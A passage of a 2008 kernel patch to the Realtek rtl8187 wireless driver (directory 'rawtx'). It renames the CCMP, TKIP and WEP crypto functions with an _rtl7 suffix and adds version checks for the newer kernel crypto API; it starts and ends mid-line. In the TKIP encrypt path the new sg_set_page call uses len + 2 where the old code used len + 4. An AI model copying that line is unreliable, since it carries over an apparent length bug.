xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-08-12 13:11:32.000000000 -0400 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct 